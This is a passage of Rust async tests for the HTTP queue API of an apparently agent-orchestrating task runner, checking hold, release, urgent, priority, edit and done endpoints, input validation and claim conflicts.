16883        let mut cli = t.clone();
16884        cli.release_operator("cli", None);
16885        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16886        let reloaded = queue.get(&t.id).unwrap();
16887        assert_eq!(reply.task.status, TaskStatus::Queued);
16888        assert!(reloaded.resume_override.is_none());
16889        assert_eq!(reloaded.answers, t.answers);
16890        let mut web = reloaded.resumption.unwrap();
16891        let cli = cli.resumption.unwrap();
16892        assert_eq!(web.source, "web");
16893        web.source = cli.source.clone();
16894        web.at = cli.at;
16895        assert_eq!(web, cli);
16896    }
16897
16898    #[tokio::test]
16899    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16900        let f = Fixture::start().await;
16901        let queue = f.queue();
16902        let mut task = Task::new(
16903            "spent".to_owned(),
16904            "Try again".to_owned(),
16905            PathBuf::from("/repo/magi"),
16906            Source::Human,
16907        );
16908        task.start("20260902-140502-bbbb".to_owned());
16909        task.fail("agent gave up", 9);
16910        queue.put(&mut task).expect("file the task");
16911
16912        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16913        assert_eq!(held.status, 200);
16914        assert_eq!(held.json()["status_str"], "held");
16915
16916        let released = f
16917            .post(&format!("/api/queue/{}/release", task.id), None)
16918            .await;
16919        assert_eq!(released.status, 200);
16920        assert_eq!(released.json()["status_str"], "queued");
16921        assert_eq!(released.json()["resumption"]["source"], "web");
16922        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16923        let mut cli = task.clone();
16924        cli.release_operator("cli", None);
16925        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16926        let cli = cli.resumption.unwrap();
16927        assert_eq!(web.instruction, cli.instruction);
16928        assert_eq!(web.answers_through, cli.answers_through);
16929        assert_eq!(web.runs_through, cli.runs_through);
16930        assert_eq!(web.cleared_reason, cli.cleared_reason);
16931        assert_eq!(
16932            released.json()["attempts"],
16933            0,
16934            "release is a real second chance, not an instant re-hold"
16935        );
16936        assert_eq!(
16937            queue.get(&task.id).expect("reload").status,
16938            TaskStatus::Queued,
16939            "the change is on disk, not only in the reply"
16940        );
16941        assert!(
16942            !f.home
16943                .path()
16944                .join("queue")
16945                .join(format!("{}.lock", task.id))
16946                .exists(),
16947            "the claim the mutation took is released again"
16948        );
16949    }
16950
16951    #[tokio::test]
16952    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16953        let f = Fixture::start().await;
16954        let queue = f.queue();
16955        let mut task = Task::new(
16956            "busy".to_owned(),
16957            "Running right now".to_owned(),
16958            PathBuf::from("/repo/magi"),
16959            Source::Human,
16960        );
16961        queue.put(&mut task).expect("file the task");
16962        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16963
16964        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16965
16966        assert_eq!(res.status, 409);
16967        assert_eq!(
16968            queue.get(&task.id).expect("reload").status,
16969            TaskStatus::Queued,
16970            "the refused hold changed nothing"
16971        );
16972    }
16973
16974    #[tokio::test]
16975    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16976        let f = Fixture::start().await;
16977        let queue = f.queue();
16978        let mut task = Task::new(
16979            "waiting on the migration".to_owned(),
16980            "Do the thing".to_owned(),
16981            PathBuf::from("/repo/magi"),
16982            Source::Human,
16983        );
16984        queue.put(&mut task).expect("file the task");
16985
16986        let held = f
16987            .post(
16988                &format!("/api/queue/{}/hold", task.id),
16989                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16990            )
16991            .await;
16992        assert_eq!(held.status, 200, "{}", held.body);
16993        assert_eq!(held.json()["status_str"], "held");
16994        assert_eq!(
16995            held.json()["hold_reason"],
16996            "waiting for 20260101-000000-aaaa to land"
16997        );
16998
16999        let listed = f.get("/api/queue").await.json();
17000        assert_eq!(
17001            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17002            "the card reads the reason off the same list route"
17003        );
17004
17005        // A hold with no body at all must keep working - most holds have no
17006        // reason to give.
17007        let mut plain = Task::new(
17008            "no reason given".to_owned(),
17009            "Do another thing".to_owned(),
17010            PathBuf::from("/repo/magi"),
17011            Source::Human,
17012        );
17013        queue.put(&mut plain).expect("file the task");
17014        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17015        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17016        assert!(held_plain.json()["hold_reason"].is_null());
17017
17018        let released = f
17019            .post(&format!("/api/queue/{}/release", task.id), None)
17020            .await;
17021        assert_eq!(released.status, 200);
17022        assert!(
17023            released.json()["hold_reason"].is_null(),
17024            "a release must clear the reason so the next hold does not inherit it"
17025        );
17026    }
17027
17028    #[test]
17029    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17030        for urgent in [true, false] {
17031            let body: UrgentBody =
17032                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17033            assert_eq!(body.urgent, urgent);
17034        }
17035        for input in [
17036            r#"{}"#,
17037            r#"{"urgent":null}"#,
17038            r#"{"urgent":"true"}"#,
17039            r#"{"urgent":1}"#,
17040            r#"{"urgent":true,"extra":false}"#,
17041        ] {
17042            assert!(
17043                serde_json::from_str::<UrgentBody>(input).is_err(),
17044                "{input}"
17045            );
17046        }
17047    }
17048
17049    #[tokio::test]
17050    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17051        let home = TempDir::new().unwrap();
17052        let q = Queue::at(home.path().join("queue"));
17053        let ui = Arc::new(Ui::new(
17054            q.clone(),
17055            Questions::at(home.path().join("questions")),
17056            Talks::at(home.path().join("talks")),
17057            home.path().join("runs"),
17058            home.path().into(),
17059            home.path().into(),
17060        ));
17061        let mut task = Task::new(
17062            "urgent handler".into(),
17063            "keep".into(),
17064            home.path().into(),
17065            Source::Human,
17066        );
17067        for status in [TaskStatus::Queued, TaskStatus::Held] {
17068            task.status = status;
17069            q.put(&mut task).unwrap();
17070            for urgent in [true, true, false, false] {
17071                let saved = queue_urgent(
17072                    State(Arc::clone(&ui)),
17073                    Path(task.short().into()),
17074                    Ok(Json(UrgentBody { urgent })),
17075                )
17076                .await
17077                .unwrap();
17078                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17079                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17080            }
17081        }
17082        task.status = TaskStatus::Queued;
17083        q.put(&mut task).unwrap();
17084        let claim = q.claim(&task.id).unwrap();
17085        let error = queue_urgent(
17086            State(Arc::clone(&ui)),
17087            Path(task.id.clone()),
17088            Ok(Json(UrgentBody { urgent: true })),
17089        )
17090        .await
17091        .unwrap_err();
17092        assert_eq!(error.status, StatusCode::CONFLICT);
17093        assert!(error.message.contains("released"));
17094        drop(claim);
17095        for status in [
17096            TaskStatus::Running,
17097            TaskStatus::Done,
17098            TaskStatus::Failed,
17099            TaskStatus::Blocked,
17100            TaskStatus::Parked,
17101        ] {
17102            task.status = status;
17103            q.put(&mut task).unwrap();
17104            let error = queue_urgent(
17105                State(Arc::clone(&ui)),
17106                Path(task.id.clone()),
17107                Ok(Json(UrgentBody { urgent: false })),
17108            )
17109            .await
17110            .unwrap_err();
17111            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17112            assert!(error.message.contains(status.as_str()));
17113        }
17114    }
17115
17116    #[tokio::test]
17117    async fn urgent_api_updates_preserves_and_validates_tasks() {
17118        let f = Fixture::start().await;
17119        let q = f.queue();
17120        let mut t = Task::new(
17121            "urgent API".into(),
17122            "unchanged".into(),
17123            PathBuf::from("/repo/magi"),
17124            Source::Human,
17125        );
17126        t.attempts = 2;
17127        t.priority = 9;
17128        t.interrupt = true;
17129        t.hold_reason = Some("waiting for approval".into());
17130        for status in [TaskStatus::Queued, TaskStatus::Held] {
17131            t.status = status;
17132            q.put(&mut t).unwrap();
17133            for urgent in [true, true, false, false] {
17134                let response = f
17135                    .post(
17136                        &format!("/api/queue/{}/urgent", t.short()),
17137                        Some(&format!("{{\"urgent\":{urgent}}}")),
17138                    )
17139                    .await;
17140                assert_eq!(response.status, 200, "{}", response.body);
17141                assert_eq!(response.json()["urgent"], urgent);
17142                let saved = q.get(&t.id).unwrap();
17143                let mut before = serde_json::to_value(&t).unwrap();
17144                let mut after = serde_json::to_value(saved).unwrap();
17145                before["urgent"] = urgent.into();
17146                before.as_object_mut().unwrap().remove("updated_at");
17147                after.as_object_mut().unwrap().remove("updated_at");
17148                assert_eq!(after, before);
17149            }
17150        }
17151        let route = format!("/api/queue/{}/urgent", t.id);
17152        for body in [
17153            r#"{}"#,
17154            r#"{"urgent":null}"#,
17155            r#"{"urgent":"true"}"#,
17156            r#"{"urgent":1}"#,
17157            r#"{"urgent":true,"extra":false}"#,
17158            "{",
17159        ] {
17160            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17161        }
17162        t.status = TaskStatus::Queued;
17163        q.put(&mut t).unwrap();
17164        let claim = q.claim(&t.id).unwrap();
17165        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17166        assert_eq!(response.status, 409, "{}", response.body);
17167        assert!(!q.get(&t.id).unwrap().urgent);
17168        drop(claim);
17169        for status in [
17170            TaskStatus::Running,
17171            TaskStatus::Done,
17172            TaskStatus::Failed,
17173            TaskStatus::Blocked,
17174            TaskStatus::Parked,
17175        ] {
17176            t.status = status;
17177            q.put(&mut t).unwrap();
17178            for urgent in [true, false] {
17179                let response = f
17180                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17181                    .await;
17182                assert_eq!(response.status, 400, "{}", response.body);
17183                assert!(response.body.contains(status.as_str()));
17184                assert!(response.body.contains("queued or held"));
17185                assert!(!q.get(&t.id).unwrap().urgent);
17186            }
17187        }
17188        assert_eq!(
17189            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17190                .await
17191                .status,
17192            404
17193        );
17194    }
17195
17196    #[tokio::test]
17197    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17198        let f = Fixture::start().await;
17199        let queue = f.queue();
17200        let mut older = Task::new(
17201            "filed first".to_owned(),
17202            "x".to_owned(),
17203            PathBuf::from("/repo/magi"),
17204            Source::Human,
17205        );
17206        older.id = "20260101-000001-aaaa".to_owned();
17207        let mut newer = Task::new(
17208            "filed second".to_owned(),
17209            "x".to_owned(),
17210            PathBuf::from("/repo/magi"),
17211            Source::Human,
17212        );
17213        newer.id = "20260101-000002-bbbb".to_owned();
17214        queue.put(&mut older).expect("file older");
17215        queue.put(&mut newer).expect("file newer");
17216
17217        // Equal priority: the newer task leads, the same order the old
17218        // newest-first `list()` already gave every equal-priority queue.
17219        let before = f.get("/api/queue").await.json();
17220        assert_eq!(before[0]["id"], newer.id);
17221        assert_eq!(before[1]["id"], older.id);
17222
17223        // Raising the *older* task is the meaningful case: it can only lead
17224        // now because its priority says so, not because it happens to be
17225        // newest.
17226        let raised = f
17227            .post(
17228                &format!("/api/queue/{}/priority", older.id),
17229                Some(r#"{"priority":10}"#),
17230            )
17231            .await;
17232        assert_eq!(raised.status, 200, "{}", raised.body);
17233        assert_eq!(raised.json()["priority"], 10);
17234
17235        let after = f.get("/api/queue").await.json();
17236        let names: Vec<&str> = after
17237            .as_array()
17238            .unwrap()
17239            .iter()
17240            .map(|t| t["id"].as_str().unwrap())
17241            .collect();
17242        // Highest priority first, which is the order next_runnable and
17243        // `magi task list` both use - GET /api/queue must agree with it
17244        // immediately, not just once the loop claims the task.
17245        assert_eq!(names[0], older.id, "the raised task now sorts first");
17246    }
17247
17248    #[tokio::test]
17249    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17250        let dir = TempDir::new().unwrap();
17251        let q = Queue::at(dir.path().join("queue"));
17252        let ui = Arc::new(Ui::new(
17253            q.clone(),
17254            Questions::at(dir.path().join("questions")),
17255            Talks::at(dir.path().join("talks")),
17256            dir.path().join("runs"),
17257            dir.path().to_path_buf(),
17258            dir.path().to_path_buf(),
17259        ));
17260        let mut t = Task::new(
17261            "budget".into(),
17262            "keep".into(),
17263            dir.path().into(),
17264            Source::Human,
17265        );
17266        t.attempts = 2;
17267        t.runs.push("prior-run".into());
17268        t.hold_manual(Some("waiting".into()));
17269        q.put(&mut t).unwrap();
17270        let change = |value| {
17271            queue_attempt_limit(
17272                State(ui.clone()),
17273                Path(t.id.clone()),
17274                Ok(Json(AttemptLimitBody {
17275                    attempt_limit: value,
17276                })),
17277            )
17278        };
17279        for value in [
17280            serde_json::json!(3),
17281            serde_json::Value::Null,
17282            serde_json::json!(1),
17283        ] {
17284            let response = change(value.clone()).await.unwrap();
17285            assert_eq!(
17286                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17287                value
17288            );
17289            let saved = q.get(&t.id).unwrap();
17290            assert_eq!(
17291                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17292                value
17293            );
17294            assert_eq!(saved.status, TaskStatus::Held);
17295            assert_eq!(saved.attempts, t.attempts);
17296            assert_eq!(saved.runs, t.runs);
17297            assert_eq!(saved.hold_reason, t.hold_reason);
17298            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17299                .await
17300                .unwrap()
17301                .0;
17302            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17303            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17304            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17305            assert_eq!(outcome.max_attempts, detail.max_attempts);
17306        }
17307        for value in [
17308            serde_json::json!(0),
17309            serde_json::json!(-1),
17310            serde_json::json!(1.5),
17311            serde_json::json!("3"),
17312            serde_json::json!(true),
17313        ] {
17314            assert_eq!(
17315                change(value).await.err().unwrap().status,
17316                StatusCode::BAD_REQUEST
17317            );
17318        }
17319        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17320        let claim = q.claim(&t.id).unwrap();
17321        assert_eq!(
17322            change(serde_json::json!(4)).await.err().unwrap().status,
17323            StatusCode::CONFLICT
17324        );
17325        drop(claim);
17326        for status in [
17327            TaskStatus::Running,
17328            TaskStatus::Done,
17329            TaskStatus::Failed,
17330            TaskStatus::Blocked,
17331            TaskStatus::Parked,
17332        ] {
17333            let mut stored = q.get(&t.id).unwrap();
17334            stored.status = status;
17335            q.put(&mut stored).unwrap();
17336            assert_eq!(
17337                change(serde_json::json!(4)).await.err().unwrap().status,
17338                StatusCode::BAD_REQUEST
17339            );
17340            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17341        }
17342        let mut stored = q.get(&t.id).unwrap();
17343        stored.status = TaskStatus::Queued;
17344        q.put(&mut stored).unwrap();
17345        let _ = change(serde_json::Value::Null).await.unwrap();
17346        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17347    }
17348
17349    #[tokio::test]
17350    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17351        let dir = TempDir::new().unwrap();
17352        let repo = dir.path().join("repo");
17353        std::fs::create_dir(&repo).unwrap();
17354        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17355        let q = Queue::at(dir.path().join("queue"));
17356        let ui = Arc::new(Ui::new(
17357            q.clone(),
17358            Questions::at(dir.path().join("questions")),
17359            Talks::at(dir.path().join("talks")),
17360            dir.path().join("runs"),
17361            dir.path().to_path_buf(),
17362            repo.clone(),
17363        ));
17364        let mut t = Task::new(
17365            "seats".into(),
17366            "keep instruction".into(),
17367            repo,
17368            Source::Human,
17369        );
17370        t.runs.push("prior-run".into());
17371        t.hold_manual(Some("waiting".into()));
17372        q.put(&mut t).unwrap();
17373        let change = |count| {
17374            queue_implementers(
17375                State(ui.clone()),
17376                Path(t.id.clone()),
17377                Ok(Json(ImplementersBody {
17378                    implementers: count,
17379                })),
17380            )
17381        };
17382        for count in [2, 1, 2] {
17383            let response = change(count).await.unwrap();
17384            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17385            let saved = q.get(&t.id).unwrap();
17386            assert_eq!(saved.implementers(), Some(usize::from(count)));
17387            assert_eq!(saved.runs, t.runs);
17388            assert_eq!(saved.instruction, t.instruction);
17389        }
17390        for count in [0, 4] {
17391            assert_eq!(
17392                change(count).await.err().unwrap().status,
17393                StatusCode::BAD_REQUEST
17394            );
17395        }
17396        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17397        let claim = q.claim(&t.id).unwrap();
17398        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17399        drop(claim);
17400        for status in [
17401            TaskStatus::Running,
17402            TaskStatus::Done,
17403            TaskStatus::Failed,
17404            TaskStatus::Blocked,
17405            TaskStatus::Parked,
17406        ] {
17407            let mut stored = q.get(&t.id).unwrap();
17408            stored.status = status;
17409            q.put(&mut stored).unwrap();
17410            assert_eq!(
17411                change(1).await.err().unwrap().status,
17412                StatusCode::BAD_REQUEST
17413            );
17414            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17415        }
17416    }
17417
17418    #[tokio::test]
17419    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17420        let f = Fixture::start().await;
17421        let queue = f.queue();
17422        let mut task = Task::new(
17423            "in flight".to_owned(),
17424            "x".to_owned(),
17425            PathBuf::from("/repo/magi"),
17426            Source::Human,
17427        );
17428        task.start("20260902-140502-bbbb".to_owned());
17429        queue.put(&mut task).expect("file the task");
17430
17431        let res = f
17432            .post(
17433                &format!("/api/queue/{}/priority", task.id),
17434                Some(r#"{"priority":9}"#),
17435            )
17436            .await;
17437        assert_eq!(res.status, 400, "{}", res.body);
17438        assert!(
17439            res.json()["error"]
17440                .as_str()
17441                .is_some_and(|e| e.contains("running")),
17442            "{}",
17443            res.body
17444        );
17445        assert_eq!(
17446            queue.get(&task.id).expect("reload").priority,
17447            0,
17448            "the refused write must not partially apply"
17449        );
17450    }
17451
17452    #[tokio::test]
17453    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17454        let f = Fixture::start().await;
17455        let queue = f.queue();
17456        let mut task = Task::new(
17457            "old title".to_owned(),
17458            "old instruction".to_owned(),
17459            PathBuf::from("/repo/magi"),
17460            Source::Agent {
17461                run: "20260101-000000-beef".to_owned(),
17462                node: "implement".to_owned(),
17463            },
17464        );
17465        task.runs.push("20260101-000000-beef".to_owned());
17466        queue.put(&mut task).expect("file the task");
17467        let created_at = task.created_at;
17468
17469        let edited = f
17470            .post(
17471                &format!("/api/queue/{}/edit", task.id),
17472                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17473            )
17474            .await;
17475        assert_eq!(edited.status, 200, "{}", edited.body);
17476        let body = edited.json();
17477        assert_eq!(body["title"], "new title");
17478        assert_eq!(body["instruction"], "new instruction");
17479        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17480        assert_eq!(body["created_at"], created_at.to_string());
17481        assert_eq!(
17482            body["source"]["kind"], "agent",
17483            "editing a task an agent filed must not turn it human: {body}"
17484        );
17485        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17486
17487        let reloaded = queue.get(&task.id).expect("reload");
17488        assert_eq!(reloaded.title, "new title");
17489        assert_eq!(reloaded.instruction, "new instruction");
17490    }
17491
17492    #[tokio::test]
17493    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17494        // The judge is an agent now: a repo whose only agent answers
17495        // "duplicate" stands in for it, so the refusal is the judge's.
17496        let tmp = TempDir::new().expect("tempdir");
17497        let repo = tmp.path().join("repo");
17498        std::fs::create_dir_all(&repo).expect("repo dir");
17499        let judge = MOCK_AGENT_TOML.replace(
17500            "printf ok",
17501            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17502        );
17503        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17504        let f = Fixture::with_repo(repo.clone()).await;
17505        let queue = f.queue();
17506        let mut owner = Task::new(
17507            "owner".to_owned(),
17508            "review it".to_owned(),
17509            repo.clone(),
17510            Source::Human,
17511        );
17512        owner.review_branch = Some("magi/ab12/A".to_owned());
17513        queue.put(&mut owner).expect("file the owner");
17514        let mut task = Task::new(
17515            "draft".to_owned(),
17516            "old".to_owned(),
17517            repo.clone(),
17518            Source::Human,
17519        );
17520        queue.put(&mut task).expect("file the draft");
17521        let url = format!("/api/queue/{}/edit", task.id);
17522
17523        let refused = f
17524            .post(
17525                &url,
17526                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17527            )
17528            .await;
17529        assert_eq!(refused.status, 409, "{}", refused.body);
17530        let msg = refused.json()["error"]
17531            .as_str()
17532            .unwrap_or_default()
17533            .to_owned();
17534        assert!(
17535            msg.contains("magi/ab12/A") && msg.contains("force"),
17536            "{msg}"
17537        );
17538        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17539
17540        let forced = f
17541            .post(
17542                &url,
17543                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17544            )
17545            .await;
17546        assert_eq!(forced.status, 200, "{}", forced.body);
17547    }
17548
17549    #[tokio::test]
17550    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17551        let f = Fixture::start().await;
17552        let queue = f.queue();
17553        let mut task = Task::new(
17554            "in flight".to_owned(),
17555            "do not touch".to_owned(),
17556            PathBuf::from("/repo/magi"),
17557            Source::Human,
17558        );
17559        task.start("20260902-140502-bbbb".to_owned());
17560        queue.put(&mut task).expect("file the task");
17561
17562        let res = f
17563            .post(
17564                &format!("/api/queue/{}/edit", task.id),
17565                Some(r#"{"title":"x","instruction":"y"}"#),
17566            )
17567            .await;
17568        assert_eq!(res.status, 400, "{}", res.body);
17569        assert!(
17570            res.json()["error"]
17571                .as_str()
17572                .is_some_and(|e| e.contains("running")),
17573            "{}",
17574            res.body
17575        );
17576        assert_eq!(
17577            queue.get(&task.id).expect("reload").instruction,
17578            "do not touch",
17579            "the refused edit must not change the file"
17580        );
17581    }
17582
17583    #[tokio::test]
17584    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17585        let f = Fixture::start().await;
17586        let queue = f.queue();
17587        let mut task = Task::new(
17588            "busy".to_owned(),
17589            "Running right now".to_owned(),
17590            PathBuf::from("/repo/magi"),
17591            Source::Human,
17592        );
17593        queue.put(&mut task).expect("file the task");
17594        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17595
17596        let priority = f
17597            .post(
17598                &format!("/api/queue/{}/priority", task.id),
17599                Some(r#"{"priority":9}"#),
17600            )
17601            .await;
17602        assert_eq!(priority.status, 409, "{}", priority.body);
17603
17604        let edit = f
17605            .post(
17606                &format!("/api/queue/{}/edit", task.id),
17607                Some(r#"{"title":"x","instruction":"y"}"#),
17608            )
17609            .await;
17610        assert_eq!(edit.status, 409, "{}", edit.body);
17611    }
17612
17613    #[tokio::test]
17614    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17615        let f = Fixture::start().await;
17616        let queue = f.queue();
17617        let mut task = Task::new(
17618            "shipped by hand".to_owned(),
17619            "merged outside the loop".to_owned(),
17620            PathBuf::from("/repo/magi"),
17621            Source::Agent {
17622                run: "20260101-000000-b455".to_owned(),
17623                node: "implement".to_owned(),
17624            },
17625        );
17626        task.runs.push("20260101-000000-b455".to_owned());
17627        task.runs.push("20260101-000000-9af4".to_owned());
17628        queue.put(&mut task).expect("file the task");
17629        let created_at = task.created_at;
17630
17631        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17632        assert_eq!(done.status, 200, "{}", done.body);
17633        assert_eq!(done.json()["status_str"], "done");
17634
17635        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17636        assert_eq!(
17637            reloaded.runs,
17638            ["20260101-000000-b455", "20260101-000000-9af4"]
17639        );
17640        assert_eq!(
17641            reloaded.source,
17642            Source::Agent {
17643                run: "20260101-000000-b455".to_owned(),
17644                node: "implement".to_owned(),
17645            }
17646        );
17647        assert_eq!(reloaded.created_at, created_at);
17648    }
17649
17650    #[tokio::test]
17651    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17652        // `done` is allowed on any status, including `held`, with no release
17653        // in between - so a task held for a reason and then closed directly
17654        // must not keep reading as "waiting on" it afterwards, on its card or
17655        // in `magi task show`.
17656        let f = Fixture::start().await;
17657        let queue = f.queue();
17658        let mut task = Task::new(
17659            "landed while held".to_owned(),
17660            "x".to_owned(),
17661            PathBuf::from("/repo/magi"),
17662            Source::Human,
17663        );
17664        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17665        queue.put(&mut task).expect("file the held task");
17666
17667        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17668        assert_eq!(done.status, 200, "{}", done.body);
17669        assert_eq!(done.json()["status_str"], "done");
17670        assert!(
17671            done.json()["hold_reason"].is_null(),
17672            "a done task cannot still be waiting on something: {}",
17673            done.body
17674        );
17675    }
17676
17677    #[tokio::test]
17678    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17679        // `queue_done` is the phone's way to close a task the loop never
17680        // settled itself - after confirming a manual GitHub merge, say - and
17681        // that is just as much "this task's story is over" as the loop's own
17682        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17683        let f = Fixture::start().await;
17684        let queue = f.queue();
17685        let runs = f.runs();
17686        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17687        // The last attempt has to have actually landed for the earlier one
17688        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17689        // for the case where it didn't.
17690        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17691
17692        let mut task = Task::new(
17693            "landed by hand".to_owned(),
17694            "x".to_owned(),
17695            PathBuf::from("/repo/magi"),
17696            Source::Human,
17697        );
17698        task.runs.push("20260101-000000-doa1".to_owned());
17699        task.runs.push("20260101-000000-doa2".to_owned());
17700        queue.put(&mut task).expect("file the task");
17701
17702        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17703        assert_eq!(done.status, 200, "{}", done.body);
17704
17705        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17706            .expect("run still on disk under this fixture's own home");
17707        assert_eq!(
17708            reloaded_run.status,
17709            RunStatus::Superseded,
17710            "closing the task by hand must relabel the earlier blocked attempt exactly \
17711             like the loop's own settle path does"
17712        );
17713    }
17714
17715    #[tokio::test]
17716    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17717        // Closing a task by hand is allowed from any status, including one
17718        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17719        // manual merge the loop never watched, say. Nothing here is provably
17720        // why the task is done, so nothing earlier gets relabelled either.
17721        let f = Fixture::start().await;
17722        let queue = f.queue();
17723        let runs = f.runs();
17724        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17725        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17726
17727        let mut task = Task::new(
17728            "closed with nothing actually landed".to_owned(),
17729            "x".to_owned(),
17730            PathBuf::from("/repo/magi"),
17731            Source::Human,
17732        );
17733        task.runs.push("20260101-000000-dob1".to_owned());
17734        task.runs.push("20260101-000000-dob2".to_owned());
17735        queue.put(&mut task).expect("file the task");
17736
17737        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17738        assert_eq!(done.status, 200, "{}", done.body);
17739
17740        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17741            .expect("run still on disk under this fixture's own home");
17742        assert_eq!(
17743            reloaded_run.status,
17744            RunStatus::Blocked,
17745            "the last recorded attempt never landed, so the earlier one must not be \
17746             relabelled as superseded by it"
17747        );
17748    }
17749
17750    #[tokio::test]
17751    async fn unknown_ids_are_json_not_found_on_both_stores() {
17752        let f = Fixture::start().await;
17753
17754        let run = f.get("/api/runs/nosuchrun").await;
17755        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17756
17757        assert_eq!(run.status, 404);
17758        assert_eq!(task.status, 404);
17759        assert!(
17760            run.json()["error"]
17761                .as_str()
17762                .is_some_and(|e| e.contains("run")),
17763            "the error names what was not found: {}",
17764            run.body
17765        );
17766        assert!(
17767            task.json()["error"]
17768                .as_str()
17769                .is_some_and(|e| e.contains("task")),
17770            "the error names what was not found: {}",
17771            task.body
17772        );
17773    }
17774
17775    #[tokio::test]
17776    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17777        let f = Fixture::start().await;
17778
17779        let missing = f.get("/api/health").await.json();
17780        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17781
17782        write_daemon(
17783            f.home.path(),
17784            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17785        );
17786        let stale = f.get("/api/health").await.json();
17787        assert_eq!(
17788            stale["daemon"]["running"], false,
17789            "a minute without a heartbeat is a dead daemon, not a busy one"
17790        );
17791        assert!(
17792            stale["daemon"]["stale_for_secs"]
17793                .as_i64()
17794                .is_some_and(|s| s >= 55),
17795            "staleness is reported so the UI can say how long: {stale}"
17796        );
17797
17798        write_daemon(f.home.path(), Timestamp::now());
17799        let fresh = f.get("/api/health").await.json();
17800        assert_eq!(fresh["daemon"]["running"], true);
17801        assert_eq!(fresh["daemon"]["idle"], false);
17802        assert_eq!(fresh["daemon"]["pid"], 4242);
17803        assert_eq!(fresh["daemon"]["completed"], 7);
17804        assert_eq!(
17805            fresh["daemon"]["current"][0]["task"],
17806            "20260902-140501-aaaa"
17807        );
17808        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17809    }
17810
17811    #[tokio::test]
17812    async fn the_loop_is_not_running_until_something_starts_it() {
17813        let f = Fixture::start().await;
17814
17815        let view = f.get("/api/loop").await.json();
17816        assert_eq!(view["running"], false);
17817        assert_eq!(
17818            view["owned"], false,
17819            "nobody owns a loop that does not exist: {view}"
17820        );
17821        assert_eq!(view["stopping"], false);
